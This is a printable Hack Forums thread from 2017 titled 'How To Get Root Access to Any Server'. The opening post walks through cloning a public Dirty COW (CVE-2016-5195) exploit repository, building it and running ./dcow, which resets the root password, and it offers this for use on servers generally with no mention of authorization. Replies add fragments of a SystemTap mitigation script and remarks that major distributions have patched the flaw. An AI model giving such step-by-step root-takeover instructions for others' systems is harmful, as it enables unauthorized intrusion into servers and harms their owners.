![]() |
|
[TUTORIAL] How To Get Root Access to Any Server - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: [TUTORIAL] How To Get Root Access to Any Server (/showthread.php?tid=5528037) |
[TUTORIAL] How To Get Root Access to Any Server - PSEUCHO - Jan 19, 2017 How To Get Root Access to Any Server Hello Hf! Today I will show you a simple way to get root access to almost any Linux server (at least it worked with every server I tried it with) Step 1: Download We will be using the so called 'Dirty cow exploit' The github link for the exploit: https://github.com/gbonacini/CVE-2016-5195 To install it type Code git clone https://github.com/gbonacini/CVE-2016-5195Step 2: Setup Once you are done downloading it, navigate into the folder and you will see these files: Code changelog CONTRIBUTING.md dcow dcow.cpp makefile README.md versionrun Code make cleanCode makeStep 3: Using the exploit To run the exploit simply use: Code ./dcowIt will then change the password to dirtyCowFun Done, you should be able to login as root now! For any questions regarding this, pm me! As always, feel free to leave an honest feedback PSEUCHO 🤝 * - Bαker - Jan 19, 2017 Seems pretty dope curious how well it works * - Papa Cuda - Jan 19, 2017 There's actually a way to mitigate this attack on all affected servers. Unfortunately the number of affected servers is in the 10's, if not 100's of thousands. To mitigate the dirty cow exploit you can use the following system tap script: The SystemTap script is relatively small and efficient, broken into 4 distinct sections as follows: Code probe kernel.function("mem_write").call ? {First, the script places a probe at the beginning of the kernel function “mem_write” when called and not loaded inline: Code probe kernel.function("mem_write").call ? {Code probe syscall.ptrace { // includes compat ptrace as wellFinally, the “probe begin” and “probe end” code blocks tell systemtap to add the supplied text to the kernel log buffer via the printk function. This creates an audit trail by registering in the system logs exactly when the mitigation is loaded and unloaded. This solution works in all affected RHEL versions: 5, 6, and 7. If you want me to remove this just let me know. * - PSEUCHO - Jan 19, 2017 (Jan 19, 2017 09:21 AM)cudacore Wrote: There's actually a way to mitigate this attack on all affected servers. Unfortunately the number of affected servers is in the 10's, if not 100's of thousands. Thanks a lot for your contribution, why would I want you to remove this? 🤝 * - Freddy Kruеger - Jan 19, 2017 Quite a well known exploit honestly, thanks for posting anyway. * - Papa Cuda - Jan 19, 2017 (Jan 19, 2017 12:20 PM)PSEUCHO Wrote: Thanks a lot for your contribution, why would I want you to remove this? 🤝 Well as much as it is good to know how to USE the dirty cow exploit it is also important to know how to protect against it :) * - DeathByHR - Jan 20, 2017 Quick question i amuse this is for kail Linux yes? second question is this could work on RPD server's as well am i correct? * - Freddy Kruеger - Jan 20, 2017 (Jan 20, 2017 06:50 AM)DeathByHR Wrote: Quick question i amuse this is for kail Linux yes? second question is this could work on RPD server's as well am i correct? You don't need Kali for this, any distro will do. It will work on RPD servers running Linux and haven't protected against the exploit. I think. * - Wizmo - Jan 20, 2017 will try this later. Anyone tried this yet? * - Freddy Kruеger - Jan 20, 2017 (Jan 20, 2017 01:43 PM)Wizmo Wrote: will try this later. Anyone tried this yet? Most big names in the linux world like Debian, Ubuntu and RHL have already patched this. |